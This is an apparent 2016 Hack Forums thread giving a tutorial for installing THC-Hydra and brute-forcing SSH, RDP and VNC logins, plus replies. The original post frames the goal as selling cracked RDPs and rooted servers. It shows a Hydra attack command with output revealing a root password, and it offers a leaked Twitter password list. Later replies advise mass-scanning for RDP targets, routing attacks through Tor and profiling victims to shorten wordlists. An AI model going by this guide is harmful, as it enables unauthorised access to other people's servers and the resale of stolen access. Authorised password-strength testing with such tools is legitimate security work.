

Forum:[Hack Forums](#)

Thread: [How to crack RDP/SSH/VNC with THC-Hydra](#)

I?g?? yaga?? - July 22, 2016, 9:17 pm

Cracking RDP/SSH/VNC with THC-Hydra

Hey,

Ever wanted to start to sell RDPs, Rooted servers or just play around with cracking servers? Well, today I'm going to show you how.

We're going to use a tool called "THC-Hydra", THC-Hydra is a cracking tool created by [thc.org](#), It supports all your favorite protocols including, but not limited to FTP, FTPS, HTTP/HTTPS (Head, Get & Post), IRC, MSSQL, MySQL, PostgreSQL, PCAnywhere, SMB, SMTP/SMTPS, SOCKS5, Teamspeak, Telnet, VNC, XMPP, and SSH.

That's a mouthful.

To start off I'll be showing you how to install THC-Hydra on Linux, Mac, and Windows.

Linux:

Spoiler ([Click to View](#)) To start off, we'll need to download the source so we can compile it.

You have two options:

- A) Use Git Clone functions.
- B) Download and extract the ZIP.

How to download the source with Git (You need to install Git with your package manager):
Code git clone https://github.com/vanhauser-thc/thc-hydra.git That simple...

How to download and extract the ZIP (Either use Unzip or your built-in archive program):

Code wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip

unzip master.zip

rm master.zip Locate and double click and extract the archive with your archive manager if you don't want to install/use Unzip.

Now we have downloaded the Source we can compile it by running the following commands:

Code cd master/cd thc-hydra

If you used the ZIP method use "cd master" but if you used the Git method use "cd thc-hydra"

./configure

make

sudo make install

If you don't have sudo installed run the following commands.

su root

make install

What these commands do is change directory to where the source code is located, configure the source for compiling and then we compile it.

And it's done.

Windows:

Spoiler ([Click to View](#)) I haven't tested this method myself if someone could verify it for me that'd be nice

Download this archive: <https://github.com/maaaaz/thc-hydra-windows/archive/master.zip>

Extract it into a folder

Run hydra.exe

Mac:

Spoiler ([Click to View](#)) There's is a really good guide that you can find [here](#).

I won't bother writing it all out.

Basic Usage:

To start off we need wordlists/password lists.

There are lots available for download at <http://www.skullsecurity.org/wiki/index.php/Passwords> but you can also download my Real Twitter Leak password list: [here](#).

Now that we have wordlists downloaded and hydra installed we can start, this is an example of attacking SSH:

```
Code [dev@Fedora ~]$ hydra -l root -P rockyou.txt 192.168.1.28 ssh
```

Hydra v6.3 (c) 2011 by van Hauser / THC and David Maciejak - use allowed only for legal purposes.

Hydra (<http://www.thc.org/thc-hydra>) starting at 2016-22-07 16:45:19

[DATA] 16 tasks, 1 servers, 500 login tries (l:1/p:500), ~31 tries per task

[DATA] attacking service ssh on port 22

[STATUS] 185.00 tries/min, 185 tries in 00:01h, 315 todo in 00:02h

[STATUS] 183.00 tries/min, 366 tries in 00:02h, 134 todo in 00:01h

[22][ssh] host: 192.168.1.28 login: root password: toor

[STATUS] attack finished for 192.168.1.28 (waiting for children to finish)

Hydra (<http://www.thc.org/thc-hydra>) finished at 2011-22-07 16:48:08

Now I'll explain the attack: -l root selects to use the username root

-P rockyou.txt selects the wordlist rockyou.txt

192.168.1.28 is the target

and ssh is what we want to attack

And it's that simple, with some tweaking you can have it run RDP, VNC and way more.

You can also use the THC-Hydra GUI which makes it easier by running:

Code ./xhydra Pretty sure that's the GUI version.

Well, that's about it, if you have any problems, troubles or need help feel free to PM me or Post here.

d1l999 - July 23, 2016, 10:30 pm

Nice work dude - good simple tutorial. ?

Evanescent - July 23, 2016, 10:34 pm

Nice and simple tutorial. Good work.

I?g?? yaga?? - July 23, 2016, 10:43 pm

(Jul 23, 2016 10:30 PM)dll999 Wrote: [\[CITE\]](#) Nice work dude - good simple tutorial. ?Thanks!

(Jul 23, 2016 10:34 PM)Evanescent Wrote: [\[CITE\]](#) Nice and simple tutorial. Good work.Thanks! i plan to make more just not sure what to make them on

Bachanky7a - July 25, 2016, 7:03 am

how can i get Rdp's ip ?

and thanks for your Tut

The app won't open for me it appear and disappear in 2 second

I?g?? yaga?? - July 25, 2016, 8:56 pm

(Jul 25, 2016 07:03 AM)Bachanky7a Wrote: [\[CITE\]](#) how can i get Rdp's ip ?

and thanks for your Tut

The app won't open for me it appear and disappear in 2 second

Typically you would scan for it with masscan or similar for lots of ips or nmap or similar for one ip.

are you using the gui version?

ZeroCoolAZ - August 3, 2016, 2:43 pm

Clean, simple to read, and easy to pick up on tut. Thanks!

I?g?? yaga?? - August 3, 2016, 9:15 pm

(Aug 3, 2016 02:43 PM)ZeroCoolAZ Wrote: [\[CITE\]](#) Clean, simple to read, and easy to pick up on tut. Thanks!

No problem, i will be making more tutorials soon so watch out for them.

RMProductions_ - August 5, 2016, 8:35 am

I have an OpenSSL error saying the module isn't install? - Fresh copy of Ubuntu 16.04 with no dependencies installed.

Zach_Farlow - August 5, 2016, 8:38 am

omg ive been looking for something like this for weeks man thanks soooooo much.

Pharaoh1100 - August 5, 2016, 8:38 am

OP, what if the secured shell is routed through Tor?

Zach_Farlow - August 5, 2016, 8:42 am

ummm bro all it does is open and close right away with the windows application.

phppop - August 6, 2016, 11:44 pm

nice 1 really appreciate very easy to follow up do you mind me sending you pm

Kashmiri Hunter - August 7, 2016, 4:30 am

Something New To Learn.Thanks For sharing.

Stirate - August 8, 2016, 12:21 am

Looks good, thanks for the helpful post.

l00k1n - August 21, 2016, 6:49 am

Please i need steps on how to complete this task...

I?g?? yaga?? - August 21, 2016, 8:56 pm

(Aug 5, 2016 08:35 AM)RMProductions_ Wrote: [\[CITE\]](#) I have an OpenSSL error saying the module isn't install? - Fresh copy of Ubuntu 16.04 with no dependencies installed. You need to install the dependencies.

(Aug 5, 2016 08:38 AM)Pharaoh1100 Wrote: [\[CITE\]](#) OP, what if the secured shell is routed through Tor? Should still work but it would probably be slower.

(Aug 5, 2016 08:42 AM)Zach_Farlow Wrote: [\[CITE\]](#) ummm bro all it does is open and close right away with the windows application. Either It's already cracked or you've done something wrong. Or it's missing dependencies.

(Aug 21, 2016 06:49 AM)l0OkIn Wrote: [\[CITE\]](#) Please i need steps on how to complete this task... It's right on the first post.

Sc4r3cr0w - August 22, 2016, 1:57 pm

Thank's for this tutorial, do you have a tip to increase speed ? For example, with your twitter passwords list, hydra is showing me it will take some years to test all passwords ?

Zudux - August 22, 2016, 2:03 pm

Solid tutorial. Bookmarked :)

l?g?? yaga?? - August 22, 2016, 6:25 pm

(Aug 22, 2016 01:57 PM)Sc4r3cr0w Wrote: [\[CITE\]](#) Thank's for this tutorial, do you have a tip to increase speed ? For example, with your twitter passwords list, hydra is showing me it will take some years to test all passwords ? Limit passwords to 7 or 8 length, Try that or similar.

And try to find as much about their habits and such eg Capital On Each Word or something. May help.

(Aug 22, 2016 02:03 PM)Zudux Wrote: [\[CITE\]](#) Solid tutorial. Bookmarked :) Thanks.

Sc4r3cr0w - August 23, 2016, 12:19 am

Ok thank's for reply ! :)

bigman13 - August 17, 2019, 7:53 pm

This is gonna be my first test with kali thanks for the share